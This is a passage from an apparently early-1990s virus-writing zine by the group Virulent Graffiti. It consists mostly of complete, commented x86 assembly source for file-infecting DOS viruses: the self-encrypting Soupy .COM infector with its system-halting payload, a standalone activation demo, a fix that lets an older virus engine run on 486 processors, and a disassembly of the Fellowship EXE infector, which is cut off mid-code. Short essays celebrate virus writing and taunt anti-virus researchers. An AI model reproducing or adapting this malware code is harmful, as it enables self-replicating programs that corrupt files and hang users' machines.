cs pop ds mov si, filetime - intovirus ; set file time mov cx, [si] mov dx, [si+2] mov ax, 5701h int 21h mov ah, 3Eh ; close it up int 21h mov si, fileofs - intovirus ; load address mov dx, cs:[si] mov ds, cs:[si+2] mov ax, 4301h ; set attribs back mov si, attribs - intovirus mov cl, cs:[si] xor ch, ch int 21h jmp short returntoitall yeppersitsanexecute: push ax push bx push cx push dx push si push di push bp push ds push es mov ax, 4300h ; get attributes int 21h jc okayreamit ; bad file? mov si, attribs - intovirus ; save attribs mov cs:[si], cl mov si, fileofs - intovirus ; save file address mov cs:[si], dx mov cs:[si+2], ds mov ax, 3524h ; get int 24h vector int 21h mov si, old24 - intovirus ; save int 24h mov cs:[si], bx mov cs:[si+2], es mov ax, 2524h ; set int 24h push cs pop ds mov dx, bigproblems - intovirus int 21h mov si, fileofs - intovirus ; reload file addr mov dx, cs:[si] mov ds, cs:[si+2] mov ax, 4301h ; set attributes mov cx, 20h ; archive int 21h jc allpurposeerror ; catch criticals mov ax, 3D02h ; open for write int 21h jc allpurposeerror ; more error checks mov bx, ax ; F!#K mov ax, 5700h ; get file time int 21h jc allpurposeerror ; more error checks! mov si, filetime - intovirus ; save file time push cs pop ds mov [si], cx mov [si+2], dx mov ah, 3Fh ; read 2 bytes into mov cx, 2 mov dx, (furtherintovirus + 4) - intovirus ; buffer int 21h jc allpurposeerror ; damn these checks! mov si, (buffa2 - 2) - intovirus cmp word ptr [si], 5A4Dh ; misnamed exe ?!? je allpurposeerror ; fuckin' checks mov ah, 3Fh ; read 1 byte into mov cx, 1 mov dx, (furtherintovirus + 10) - intovirus ; buffer int 21h jc allpurposeerror ; !!! mov ax, 4202h ; LSeek end xor cx, cx xor dx, dx int 21h jc allpurposeerror ; AARRRGGGHHH!!! cmp dx, 0 ; if size > 65535 jg allpurposeerror cmp ax, 4 ; if size < 4 jb allpurposeerror cmp ax, 0FBF0h ; if size > 64496 ja allpurposeerror mov si, sizestore - intovirus ; save size mov [si], ax mov cx, ax ; size in cx sub ax, 3 ; mod for jmp near mov si, (jumpnear + 1) - intovirus ; save size - 3 mov [si], ax add cx, 100h ; size + 100h mov si, (modme1 + 1) - intovirus mov [si], cx ; modify first delta add cx, 151h ; size + 251h mov si, (modme2 + 1) - intovirus mov [si], cx ; modify 2nd delta jmp short continueinfect nop ; F!#K allpurposeerror: jmp okayreamit continueinfect: mov ax, 4200h ; LSeek from start xor cx, cx ; Size - 2 mov si, sizestore - intovirus mov dx, [si] sub dx, 2 int 21h mov ah, 3Fh ; read 2 bytes mov cx, 2 mov dx, saved2 - intovirus int 21h mov si, saved2 - intovirus ; load saved 2 mov ax, [si] cmp ax, 2206h ; infected? je allpurposeerror mov ax, 4200h ; LSeek start xor cx, cx xor dx, dx int 21h mov ah, 40h ; write jmp near mov cx, 3 mov dx, jumpnear - intovirus int 21h mov ax, 4202h ; LSeek end xor cx, cx xor dx, dx int 21h mov si, what - intovirus ; inc counter inc word ptr [si] mov si, what2 - intovirus push word ptr [si] mov word ptr [si], 0 mov ah, 40h ; write file mov dx, intovirus - intovirus ; duh! mov cx, endofvirus - intovirus int 21h mov si, what - intovirus ; dec counter dec word ptr [si] pop ax ; pop off other valu inc ax mov si, what2 - intovirus ; save other valu mov [si], ax jmp okayreamit bigproblems: xor al,al ; a little xtreme?!? iret int_9_handler: push ax push ds mov ax, 0040h ; bios mov ds, ax mov ah, byte ptr ds:[006ch] ; clicks afta 12 AM cmp ah, 17h ; past time? ja itsallover and ah, 6 or ds:[0017h], ah ; fuck that flag!!! itsallover: pop ds pop ax int 6ah iret db 06h, '"' endofvirus: end start =========================================================================== I saw no need to write a stand-alone demonstration for this rather unflattering virus, as it displays nothing, and only disables device access and fucks with the keyboard... ====================== Soupy Virus Source By The Attitude Adjuster and AccuPunk ====================== With the release of this virus marks the absolute end for all boring direct-action COM infectors from Virulent Graffiti... if some pop up in the future, bearing our name, and do not have revolutionary or funny activation stages, they are NOT from us... Anyway, I am at a loss as to why I should use anything but the DOC I wrote for this, but, here's what Patti says, and what I say, you compare and contrast who does it better! ========================================================================== Virus Name: Soupy Aliases: V Status: New Discovered: January, 1993 Symptoms: .COM file growth; TSR; message; system hangs Origin: United States Eff Length: 1,072 Bytes Type Code: PRC - Parasitic Resident .COM Infector Detection Method: Novi 1.15a+, CPAV/N Removal Instructions: Delete infected files General Comments: The Soupy virus was submitted in January, 1993, and is from the United States. Soupy is a non-resident, direct action infector of .COM programs, but not COMMAND.COM. In the case of advanced infections, it may install a portion of itself memory resident in order to facilitate the activation mechanism in the virus. When a program infected with the Soupy virus is executed, the Soupy virus will infect one .COM file located in the current directory, as well as update a counter within the viral code. Programs infected with the Soupy virus will have a file length increase of 1,072 bytes with the virus being located at the end of the file. The program's date and time in the DOS disk directory listing will not be altered. The Soupy virus activates once the counter within the viral code has reached 11, indicating the 11th generation of the virus has been reached. At this time, the virus will install a portion of itself in memory of 736 bytes, hooking interrupt 08. Once the memory resident portion of the virus has been installed, it will display the following messages one at a time every three minutes: "Unsuspecting user, 12 o'clock!" "Get ready... 'cause... THERE'S A VIRUS IN YOUR SOUP!" "From the guys that brought you Lythyum, Radyum, and VioLite comes:" "The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/904/703" "By The Attitude Adjuster & AccuPunk!" "Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!" "...hmmm, ya' know, I think I''ll halt now..." Once the last message above is displayed, the system will be halted or hung. The above messages are encrypted within the Soupy viral code, as are the following additional text strings: "[Soupy] The Attitude Adjuster & AccuPunk, VG 08/23/92 to 12/02/92" "*.COM" "Bad command or file name" ========================================================================== ...and now me... ========================================================================== Virus Name: Soupy Aliases: Virus in Your Soup Author: The Attitude Adjuster & AccuPunk Group: Virulent Graffiti Scan ID: V Status: Frozen to Death Discovery: See, we were in this guy's disk box... Symptoms: .COM files altered; Messages; Orgin: West Bumblefuck, Ohio Eff Length: 1073 Bytes Res Length: 736 Bytes Type Code: Parasitic Non-Resident .COM Infector Detection Method: Removal Instructions: Delete infected files General Comments: The Soupy virus is a self-encrypting direct action infector of .COM programs. The virus, upon execution, will search the current directory for an uninfected .COM program. If none are found, the virus will restore the host file and continue execution. The Soupy virus mantains an infection counter. When this counter reaches 11, the virus will check for a copy of itself in memory, and if not found, make itself the owner of INT 8 and go resident. Approximately every 3 minutes, the virus will display the next of 7 messages, finally causing the machine to do a dynamic halt on the final message. ========================================================================== And, just to get the story straight, I wrote all the resident stuff out of boredom, and, the COM engine was what AccuPunk presented as his coding example to join the group. I just optomized the code, and added my residency, and I was ready to go... This virus sucks... mainly because I didn't know enough back then, but, that has all changed... ========================================================================== ; -] "Oh, waiter [- A virus to pay tribute to ; ==] [== Anti-Virus Professionals Everywhere! ; -] THERE'S [- ; ] [ ; -] A [- Radyum's Little Son ; ==] [== ; -] VIRUS [- ; ] [ We like Bob Ross, but, we like ; -] IN MY [- ourselves a lot better. ; ==] [== ; -] SOUP!!!" [- ; ; An original virus by Accu-Punk and The Attitude Adjuster ; of Virulent Graffiti (216/914/513/602) ; Greetz: Mom, My Modem, Accu-Punk, The Attitude Adjuster, ; The Fly, Casper, Chief, Mercury, any other VG Member. .model tiny .code ; code segment, tiny model -- CS = DS = ES = SS ComStart EQU 100h org 100h ; generate .COM file entry: db 0e9h, 00, 00 ; Jmp decrypt decrypt: mov si, offset start_code mov cx, (offset end_code - offset start_code)/2 code_loop: db 81h, 34h, 0, 0 ; xor word ptr [bx],0 lodsw loop code_loop start_code: ; get delta call get_delta get_delta: pop bp sub bp, offset get_delta xor ax, ax mov ds, ax les ax, ds:[24h*4] ; Load Int 24 Entry mov word ptr Cs:[offset I_24+2+bp], es ; Save it mov word ptr Cs:[offset I_24+bp], ax lea dx, Cs:[offset int_24h_entry+bp] ; Place new one mov word ptr ds:[24h*4], dx mov word ptr ds:[92h], cs push cs push cs pop ds pop es cld ; Restore COM mov cx, 3 mov di, 100h lea si, [bp+first_3] rep movsb lea dx, [bp+newDTA] ; Set Up New DTA mov ah, 1ah int 21h lea dx, [bp+com_mask] ; Find First *.COM mov ah, 4eh find_loop: mov cx, 7 int 21h jc done_infecting ; If Error, Exit mov ax, 3d00h ; Open File for Read lea dx, [bp+newDTA+1Eh] int 21h jc find_next ; Find another xchg ax, bx ; Handle in BX mov ah, 3fh ; Read File mov cx, 3 lea dx, [bp+buffer] int 21h mov ah, 3eh int 21h cmp word ptr [bp+newDTA+1Eh], 'OC' ; Command.Com? je find_next cmp word ptr [bp+newDTA+1Ah], (65535-(heap_end - start_code)) ja find_next ; too big cmp word ptr [bp+newDTA+1Ah], 300h jb find_next ; too little bitty mov ax, word ptr [bp+newDTA+1Ah] push ax sub ax, (end_code - decrypt) + 3 ; correct JMP cmp ax, word ptr [bp+buffer+1] je find_next ; not to end! jmp infect find_next: mov ah, 4fh jmp find_loop done_infecting: mov ah, 1ah mov dx, 0080h int 21h ; set up old DTA pop ax xor ax,ax push ax pop ds les ax, ds:[08h*4] push cs pop ds mov word ptr [Old08+Bp], Ax mov word ptr [Old08+2+Bp], Es add ax, ((GetOut-1)-Int_08_Handler) mov bx, ax cmp word ptr Es:[Bx], 0EA58h je quit push cs pop es cmp byte ptr [Counter+Bp], 0ah jle quit lea Si, [Offset Int_08_Handler+Bp] ; copy us mov Di, 0100h mov Cx, Offset End_Handler-Offset Int_08_Handler rep MovSb xor ax, ax ; interrupt table mov ds, ax cli mov ax, 100h mov word ptr Ds:[08h*4], ax mov word ptr Ds:[08h*4+2], cs sti push cs pop ds push cs mov ah, 49h ; Deallocate Env. mov bx, word ptr cs:[02ch] mov es, bx int 21h pop es Mov ah, 9 Lea dx, [Offset Bullshit+Bp] Int 21h Mov Ax, 3100h mov Dx, (((Offset End_Handler-Offset Int_08_Handler)+100h) / 16) + 1 Int 21h Int 20h Quit: xor ax, ax mov ds, ax mov bx, word ptr Cs:[offset I_24+bp] mov es, word ptr Cs:[offset I_24+2+bp] mov word ptr ds:[24h*4], bx ; Restore int 24h mov word ptr ds:[24h*4+2], es push cs push cs pop ds pop es mov dx, 100h ; We Are Done! jmp dx infect: cld lea si, [bp+buffer] lea di, [bp+first_3] push si mov cx, 3 rep movsb ; save original first three bytes pop di ; now we write to the buffer... mov al, 0e9h ; change first three bytes of target file stosb ; to jump to the end, which will be the pop ax ; first byte of the viral code. sub ax, 3 ; correct for the jump opcode size stosw ; and put the displacement at [DI]. xor cx, cx lea dx, [bp+newDTA+1Eh] mov ax, 4301h ; set attributes to nothing int 21h mov ah, 3dh mov al, 2 ; read/write int 21h xchg ax,bx ; ok, we're gonna be boring and use XCHG mov ah, 40h ; bx = filehandle mov cx, 3 lea dx, [bp+buffer] int 21h ; write 3 bytes at buffer to file mov ax, 4202h ; LSEEK from end of file xor cx, cx ; seek 0 bytes from end xor dx, dx ; set up for copying the virus int 21h push bx get_new_code: ; get new encryption word mov bx, 40h mov es, bx mov bx, 6Ch mov dx, word ptr es:[bx] ; dx = encryption_word or dx, dx ; dx == 0? (no effect) jz get_new_code ; nah, get a new one mov word ptr [bp+code_loop+2], dx pop bx push cs pop es copy_code: cld push ax lea di, [bp+temp] mov al, 53h ; push bx stosb lea si, [bp+decrypt] mov cx, start_code-decrypt ; copy the code unaltered first push si push cx rep movsb ; copy decrypt lea si, [bp+write] mov cx, end_write-write rep movsb ; copy write pop cx pop si rep movsb ; copy decrypt again mov ax, 0C35Bh ; POP BX, retn stosw pop ax ; ax = filesize patch_bx_offset: mov dx, word ptr [bp+decrypt+1] ; dx = offset start_code rel 100h sub dx, bp sub dx, 3 add dx, ax ; add filesize to offset mov word ptr [bp+decrypt+1], dx ; patch it inc byte ptr [bp+counter] call temp finish_infection: mov ax, 5701h mov cx, word ptr [bp+newDTA+16h] ; cx = file time mov dx, word ptr [bp+newDTA+18h] ; dx = file date int 21h xor cx, cx mov ax, 4301h mov cl, byte ptr [bp+newDTA+15h] ; cl = attributes lea dx, [bp+newDTA+1Eh] int 21h mov ah, 3eh int 21h jmp done_infecting write: pop bx mov ah, 40h mov cx, end_code - decrypt lea dx, [bp+decrypt] int 21h push bx end_write: Int_24h_Entry Proc Far Mov Ax, 3 ; Process Terminate Iret ; Do a LOT, Eh? EndP Int_08_Handler Proc Far Push Ax Push Bx Push Cx Push Dx Push Si Push Di Push Bp Push Es Push Ds Dec Word Ptr Cs:[TCounter] Jz Do_It LeaveRite: Pop Ds Pop Es Pop Bp Pop Di Pop Si Pop Dx Pop Cx Pop Bx Pop Ax GetOut: Db 0eah ; JMP Far PTR Old08 Dd ? _Iet Db 1 _Counter Dw 1092 Do_It: Push Cs Push Cs Pop Es Pop Ds Mov Word Ptr Cs:[TCounter], 1092 Mov Si, Start_Chain Xor Cx, Cx Mov Cl, Byte Ptr Cs:[Iet] Xor Ax, Ax Chain_Loop: LodSb Add Si, Ax Loop Chain_Loop LodSb Xor Cx, Cx Mov Cl, Al XChg Bp, Si Mov Ah, 0fh Int 10h Mov Ax, 1300h Mov Bx, 000Fh Xor Dx, Dx Int 10h Inc Byte Ptr Cs:[Iet] Mov Cx, 50 C2: Push Cx Mov Cx, 0ffffh RP: Loop RP Pop Cx Loop C2 Cmp Byte Ptr Cs:[Iet], 8 Je Quonto Jmp LeaveRite Quonto: Cli Jmp $ EndP _Start_Chain: db 0 db 30, 'Unsuspecting user, 12 o''clock!' db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!' db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:' db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703' db 36, 'By The Attitude Adjuster & AccuPunk!' db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!' db 43, '...hmmm, ya'' know, I think I''ll halt now...' _End_Chain: Start_Chain = (_Start_Chain - Int_08_Handler) + 100h End_Chain = (_End_Chain - Int_08_Handler) + 100h Iet = (_Iet - Int_08_Handler) + 100h TCounter = (_Counter - Int_08_Handler) +100h End_Handler: ; DATA SPACE name_date db 00,'[Soupy] The Attitude Adjuster & AccuPunk, VG',00 db '08/23/92 to 12/02/92',00 first_3 db 0CDh, 20h, 90h ; put return to dos opcodes at 100h com_mask db '*.COM',0 counter db 0 BullShit db 'Bad command or file name',0dh,0ah,'$' end_code = $ ; end of encryption and writing... buffer db 3 dup (?) newDTA db 50 dup (?) I_24 dd ? temp: db ((start_code - decrypt)*2 + (end_write-write) + 5) dup (?) heap_end = $ ; marks end of heap end entry ========================================================================== ; Very shitty and hurredly written stand alone demonstration for the Soupy ; virus, By The Attitude Adjuster. ; Assemble with: ; tasm sbomb /m2 ; tlink sbomb /t ; Wait for the messages! No delays have been removed! .model tiny .code org 100h entry: mov ax, 3508h int 21h mov word ptr [Old08], Bx mov word ptr [Old08+2], Es add ax, ((GetOut-1)-Int_08_Handler) mov bx, ax cmp word ptr Es:[Bx], 0EA58h je quit push cs pop es mov dx, offset Int_08_Handler mov ax, 2508h int 21h Mov ah, 9 Lea dx, [Offset Bullshit+Bp] Int 21h mov Dx, Offset Heap_End Int 27h Quit: Int 20h Int_08_Handler Proc Far Push Ax Push Bx Push Cx Push Dx Push Si Push Di Push Bp Push Es Push Ds Dec Word Ptr Cs:[Counter] Jz Do_It LeaveRite: Pop Ds Pop Es Pop Bp Pop Di Pop Si Pop Dx Pop Cx Pop Bx Pop Ax GetOut: Db 0eah ; JMP Far PTR Old08 Dd ? Iet Db 1 Counter Dw 1092 Do_It: Push Cs Push Cs Pop Es Pop Ds Mov Word Ptr Cs:[Counter], 1092 Mov Si, Offset Start_Chain Xor Cx, Cx Mov Cl, Byte Ptr Cs:[Iet] Xor Ax, Ax Chain_Loop: LodSb Add Si, Ax Loop Chain_Loop LodSb Xor Cx, Cx Mov Cl, Al XChg Bp, Si Mov Ah, 0fh Int 10h Mov Ax, 1300h Mov Bx, 000Fh Xor Dx, Dx Int 10h Inc Byte Ptr Cs:[Iet] Mov Cx, 50 C2: Push Cx Mov Cx, 0ffffh RP: Loop RP Pop Cx Loop C2 Cmp Byte Ptr Cs:[Iet], 8 Je Quonto Jmp LeaveRite Quonto: Cli Jmp $ EndP Start_Chain: db 0 db 30, 'Unsuspecting user, 12 o''clock!' db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!' db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:' db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703' db 36, 'By The Attitude Adjuster & AccuPunk!' db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!' db 43, '...hmmm, ya'' know, I think I''ll halt now...' End_Chain: End_Handler: BullShit db 'Bad command or file name',0dh,0ah,'$' end_code = $ ; end of encryption and writing... heap_end = $ ; marks end of heap end entry ========================================================================== ======================= Rapidly Approaching By The Attitude Adjuster ======================= Virulent Graffiti is rapidly approaching 1 year of life, amazing that we could hold together that long, eh? We actually survived the summer, the return of the school year... the fact that we were doing nothing, and an abrupt name change, VG to VGVPO. Actually, I am approaching the 1 year mark on learning 80x86 assembly... quite strange, a year later, to look back that the total shit code that I was doing in WASM, and to see some of the things I was doing, and actually calling viruses! On the personal level, I am quite happy with myself, and greatful of the people like the Dark Avenger, Dark Angel, and others that have the know-how and desire to help teach the world about virus writing. I am amazed at the progress that I have made myself, both in virus writing, and in programming in general... and especially that I have the highest poster status on Digital Warfare Private (at least, when I wrote this...) On the group level, I feel deflated, but good... an idea that was pushed onto me by The Fly, on March 14th, 1992, becoming the semi-large thing that it has become today... really nice, if you ask me, but, then again, who does... Now comes the question of what I'm going to do this year... We have lots of things waiting in the wings for that little extra push to get them going... a sub-stealth virus, a multipartite virus, and a little code generator (not for generating viruses, but, for generating dazzingly boring encryption and decryption routines, without actaully being a polymorphing engine!)... hopefully, little side projects I have, like loaders, sound routines, and such will fall into place, and we can grab a little ground in the demo-group world as well... Big ideas for a kid from a small town in Ohio, eh? Maybe... maybe not... Certainly, in Telcom, no one is there to ask my age, or for my college degree... all I need to do is whip out a little code, throw the reputation around a little... wire them a couple hund- err, you get what I mean... It's all open to us, sounds fun, eh? Damn straight it is... ======================== The Confusion Ended? By The Attitude Adjuster ======================== In the end, we decided it would better if we began releasing our research viruses to anti-virus professionals (bah!). I called Patricia Hoffman's board, cringing at the thought of... Wildcat! (it just isn't right without the !). I construct an account, promptly forgetting the password I assigned to it, and, uploaded our old and useless COM infectors. After the gloriously short upload (9600 is great...), I left Patti this little letter... =========================================================================== From : T.A. ADJUSTER Number : 52 of 59 To : PATRICIA HOFFMAN Date : 01/17/93 6:01pm Subject : Uploads Reference : NONE Read : 01/18/93 12:11pm (REPLIES) Private : NO Conf : 002 - Virus Q & A (Open Msgs) I have uploaded to you some OLD VG viruses, as we are now doing TSR COM/EXE infectors. Hopefully, when we move on to boot infectors, we will remember to upload those here as well. In the meantime, please send these to whoever does research work for you, as I'm sure it can't be you, I mean, you don't even know your own name. Anyway, they all have DOC files with them, that are totally correct, though I may have 'forgot' and left out a couple of features. None of these viruses are intentionally distructive, just loads and loads of fun. Anyway, if you want to be the index of ALL viruses, you better move to place these in the index, as they are on our support boards, and can be downloaded and placed active by anyone, though we as a group will not release viruses into the wild. I thought I had an account on here earlier. Yeesh, I hope you didn't delete it... anyway, I'd like to ask that you keep my account live, as I enjoy downloading your fine VSUM publication. VG is too poor to afford to register it, however. Could we get, maybe, a charity subscription? The Attitude Adjuster =========================================================================== So... a few days later, I note this reply, when I log in to see if the new VSUM is out yet... =========================================================================== From : PATRICIA HOFFMAN Number : 54 of 59 To : T.A. ADJUSTER Date : 01/18/93 12:15pm Subject : Uploads Reference : 52 Read : NO Private : NO Conf : 002 - Virus Q & A (Open Msgs) Well, the only time I don't know my own name is when someone calls the wrong "Patricia Hoffman" because they got the phone number from Information or the phone book. My home phone number is unlisted, but there are a couple of other Patricia Hoffman's in Silicon Valley as well. If you are referring to a certain conference call of about 9-10 months ago when 13 or so young men tried to contact me, they called the WRONG Patricia Hoffman..... I was at home reading a novel, and didn't know about the call until McAfee called and asked why I didn't speak to the "young men". =========================================================================== Well... interesting... the truth? Who knows... I'd kind of like to talk to her, regardless... I just have nothing that dials alliance, and I really would like to share the experience with others... =============================== 'Shit... What's wrong NOW!' By The Attitude Adjuster =============================== (Written in early January, pre-VioLite ][ and DWI release.) So, AccuPunk and I are hard at work, coding litle bits of drivel, and our two main projects, DWI and VioLite ][. For some strange reason, these viruses refused to work. We spent many hours in our protected-mode debuggers tracking down the cause, but, it was finally my genius, and a little work in DOS Debug that saved the day. The virus engines worked fine, the resident code in DWI being okay, and the file-location code in VioLite2 being dandy. When traced thru in both SoftIce and Debug, the viruses would work, but, yet, when ran from a command line, or let loose with a Go instruction, my machine would crash a horrible GPF death, while AccuPunk's would not. He has a 386DX, I have a new 486SX, this is the key. Here is the root of the problem. =========================================================================== Taken from 'An Introduction to Non-Overwriting Virii,' 40Hex-8 mov ax,es ; AX = PSP segment add ax,10h ; Adjust for PSP add word ptr cs:[si+jmpsave+2],ax add ax,word ptr cs:[si+stacksave+2] cli ; Clear intrpts for stack manip. mov sp,word ptr cs:[si+stacksave] mov ss,ax sti db 0eah ; jmp ssss:oooo jmpsave dd ? ; Original CS:IP stacksave dd ? ; Original SS:SP jmpsave2 dd 0fff00000h ; Needed for carrier file stacksave2 dd ? =========================================================================== We were using this clip of DA code, mainly because it was the Right Thing, and why try and improve on perfection. Alas, this code is the root of all the problems. I assemble the following code: =========================================================================== .model tiny .code org 100h start: mov byte ptr [start], 0cch ; place int 3 at 100h mov ax, cs ; codeseg in ax add word ptr [JumpAdd+2], ax ; add to jmp far ptr db 0eah JumpAdd dd 00000100h ; cs:0100 end start =========================================================================== It crashes miserably on my machine, but not on my 8086. I now know why. Hurredly, I recoded the thing to look like this: =========================================================================== .model tiny .code org 100h start: mov byte ptr [start], 0cch ; place int 3 at 100h mov ax, cs ; codeseg in ax add word ptr [JumpAdd+2], ax ; add to jmp far ptr jmp short aftajump PreJump: db 0eah JumpAdd dd 00000100h ; cs:0100 AftaJump: jmp short prejump end start =========================================================================== This time, the code works, I have my cuprit, my processor, and it's blasted 25 byte prefetch. Let me explain. When we affected the JMP FAR offset in memory, we did not affect it in the processor, which pre-fetches the next 25 bytes in memory. The JMP around the code causes the prefetch to be reloaded, and allows the jump to work. So, this means, an entire group of viruses will not work on newer hi end machines. I tested this, all viruses I ran that had the DA engine in them crashed and burned on every 486 that I tested them on. Any 80486 that is exactly Intel specs (and they all will be for a while, as only Intel is making them) will crash on this code. The solution? Here's mine, it may not be pretty, but, it works. =========================================================================== mov ax,es ; AX = PSP segment add ax,10h ; Adjust for PSP add word ptr cs:[si+stacksave+2], ax cli ; Clear intrpts for stack manip. mov sp,word ptr cs:[si+stacksave] mov ss,ax sti mov bx, word ptr cs:[si+jmpsave] add bx, ax push bx mov bx, word ptr cs:[si+jmpsave+2] add bx, ax push bx retf jmpsave dd ? ; Original CS:IP stacksave dd ? ; Original SS:SP jmpsave2 dd 0fff00000h ; Needed for carrier file stacksave2 dd ? =========================================================================== This is the final code we put into DWI and VioLite2. Not pretty, but the damn thing works. With no self-modifying code that relies on the prefetch, there isn't an easy way for this to crash... ====================================== Disassembly of the Fellowship Virus By The Attitude Adjuster ====================================== Well, I thought that I should just continue disassembling whatever I could find, as part of that 'keeping up my skills.' I found this, decided that it was a piece of uneventful and thouroghly boring, and none the more bug free code, and decided that you should have it... It seems to have a semi-unique way of organization during the memory residency... the loading of the host again, etc... also, there is a tiny bit of debugger resistance, but, this tactic could be expanded upon to create huge amounts of hell for non-protected mode debuggers. Really, this thing shouldn't work... if it follows theory, it should eat all available handles on the system after a few (more for us with higher FILES= settings) infections... This is what Patti says... notice, this is an EXE infector, yet one of the symptoms is COM growth! Wild... I never found that subroutine while I was disassembling... ========================================================================== Virus Name: Fellowship Aliases: 1022, Better World, Fellow V Status: Rare Discovered: July, 1990 Isolated: Australia Symptoms: TSR; .COM & .EXE file growth Origin: Malaysia Eff Length: 1,019 - 1,027 Bytes Type Code: PRsE - Parasitic Resident .EXE Infector Detection Method: ViruScan, F-Prot, NAV, IBM Scan, AVTK, Novi, Sweep, CPAV, UTScan, VirexPC, Gobbler2, VBuster, AllSafe, ViruSafe, UTScan, Trend, Iris, VNet, Panda, VET, Detect+, IBMAV, DrVirus, Vi-Spy, NShld, LProt, CPAV/N, Sweep/N Removal Instructions: CleanUp, F-Prot, NAV, or delete infected files General Comments: The Fellowship or 1022 virus was isolated in Australia in July 1990. Fellowship is a memory resident generic infector of .EXE files. It does not infect .COM or overlay files. The first time a program infected with the Fellowship virus is executed, the virus will install itself memory resident as a 2,048 byte TSR in low system memory. Available free memory will be decreased by a corresponding 2,048 bytes. Interrupt 21 will also now be controlled by the virus. After the virus is memory resident, the virus will infect .EXE files when they are executed. Infected .EXE files will increase in size by between 1,019 and 1,027 bytes. The virus's code will be located at the end of infected files. Infected files will contain the following text strings very close to the end of the file: "This message is dedicated to all fellow PC users on Earth Toward A Better Tomorrow And A Better Place To Live In" "03/03/90 KV KL MAL" This virus is believed to have originated in Kuala Lumpur, Malaysia. ========================================================================== ; Disassembly of the Fellowship Virus, done by The Attitude Adjuster for ; Infectious Diseases Issue 3. ; For a byte-for-byte matchup, assemble as follows: ; tasm fellow /m2 ; tlink fellow .model tiny .code org 000h start: mov ax, 0D000h ; RUTHERE call int 21h cmp bx, 1234h jne installvirus ; if not... mov bx, es add bx, 10h ; account for PSP add word ptr cs:[oldcsip+2], bx ; add to CS jmp dword ptr cs:[oldcsip] ; get there... ninthflag db 0 paramblock: ; need defs? get a envsegment dw 0CE4h ; DOS manual... cmdlineoffset db 80h, 00h cmdlinesegment dw 12C9h fcb1offset db 5Ch, 00h fcb1segment dw 12C9h fcb2offset db 6Ch, 00h fcb2segment dw 12C9h loadpoint dw 0 oldcsip dd 0FFF00000h installvirus: cld ; !!! cli push es mov bx, es add bx, 10h ; account for PSP mov es, bx ; ES = 1st EXE Seg xor bx, bx mov ds, bx ; DS = 0000 push word ptr ds:[0000] ; save ssi vector push word ptr ds:[0002] ; save ssi vector mov word ptr ds:[0000], 0A5F3h ; set ssi vector mov byte ptr ds:[0002], 0CFh ; 0CF00:0A5F3h xor si, si mov di, si push cs pop ds mov ax, 64h ; program entry mov cx, endwrite-start ; zopy ieterations pushf ; fake an interrupt push es ; return to 1st seg push ax db 0EAh ; jmp far ptr 0:0000 db 00h, 00h, 00h, 00h ; on the fake interrupt call, control is transferred to 0000:0000, ; which contains ; rep movsb ; iret ; the movsb takes care of copying the virus to offset 0000 of the ; 1st EXE segment, and then the iret returns the virus to the ; entry point below! trueentry: xor ax, ax mov ds, ax pop word ptr ds:[0000] ; restore ssi vector pop word ptr ds:[0002] sti ; finally... yeesh! pop es ; PSP segment mov bx, 80h mov ax, 4A00h ; decrease allocation int 21h ; of PSP segment push cs pop ds mov ax, es mov cmdlinesegment, ax ; construct exec mov fcb1segment, ax ; parameter block mov fcb2segment, ax ; (see block above) mov ax, es:[002Ch] mov envsegment, ax mov ax, 3521h ; get int 21h vector int 21h mov word ptr ds:[Old21], bx ; save vector mov word ptr ds:[Old21+2], es mov dx, offset int_21h_entry ; set int 21h vectr mov ax, 2521h int 21h mov ah, 2Ah ; get date int 21h cmp dh, 9 ; the ninth? jne dontsetflag or byte ptr cs:[ninthflag], 1 ; flop that flipper dontsetflag: cli mov es, envsegment ; environment segmnt xor di, di mov cx, 0FFFFh mov al, 0 cld searchloop: repne scasb ; scan until we cmp es:[di], al ; meet a dupe of jne searchloop ; ourselves! mov dx, di add dx, 3 push es ; DS = PSP segment pop ds mov bx, cs ; stack in us mov ss, bx ; might clear ints!! mov es, bx mov sp, 44Bh ; stack at 44bh mov bx, offset paramblock mov ax, 4B00h ; load + exec host pushf ; fake int 21h sti call dword ptr cs:[Old21] mov es, cs:[envsegment] ; release memory mov ax, 4900h int 21h mov dx, 80h ; terminate and keep mov ax, 3100h ; us resident! int 21h filesave dw 469h, 74Bh old24 dw 156h, 74Bh savedvalu1 dw 8E0h savedvalu2 dw 0 oldattr dw 20h readbuffer db 4Dh db 5Ah, 0DBh, 00h, 07h, 00h, 00h db 00h, 20h, 00h, 00h, 00h, 0FFh db 0FFh, 00h, 00h, 00h, 00h negativechksm dw 1990h db 00h, 00h, 6Eh, 00h, 3Eh db 39 dup (0) int_24h_entry: xor al, al iret int_21h_entry: cmp ax, 0D000h ; RUTHERE? jne checkforexecute ; No... mov bx, 1234h iret checkforexecute: cmp ax, 4B00h ; load + execute? je yeahyeahbaby ; yepparoo db 0EAh ; jmp far orig 21h old21 db 9Eh, 10h, 16h, 01h dw ?, ? ; ?!? yeahyeahbaby: push bp ; save caller's push ax ; registers push bx push cx push dx push di push si push es push ds test byte ptr cs:[ninthflag], 1 ; test that flipper jz notflagged jmp itstheninthhoney notflagged: mov word ptr cs:[filesave], dx ; save file seg:ofs mov word ptr cs:[filesave+2], ds mov si, dx mov ah, 19h ; get default drive int 21h mov dl, al ; drive code in DL cmp byte ptr [si+1], 3Ah ; 2nd letter a ":" jne notonanotherdisk mov dl, byte ptr [si] ; get letter sub dl, 'A' ; reduce to d-code notonanotherdisk: inc dl ; add 1, differing fc mov ah, 36h ; get free space int 21h cmp ax, 0FFFFh ; error? je getthefuckback xor dx, dx mul bx ; avail. sectors mul cx ; avail. bytes cmp ax, 7D0h ; enough left? jae enoughleftdoit or dx, dx ; more than 65535? jnz enoughleftdoit getthefuckback: pop ds ; restore caller's pop es ; registers pop si pop di pop dx pop cx pop bx pop ax pop bp mov ax, 4B00h jmp dword ptr cs:[Old21] ; go to old 21h enoughleftdoit: cld les di, dword ptr cs:[filesave] ; ES:DI = File seg:ofs mov cx, 0FFFFh mov al, 0 repne 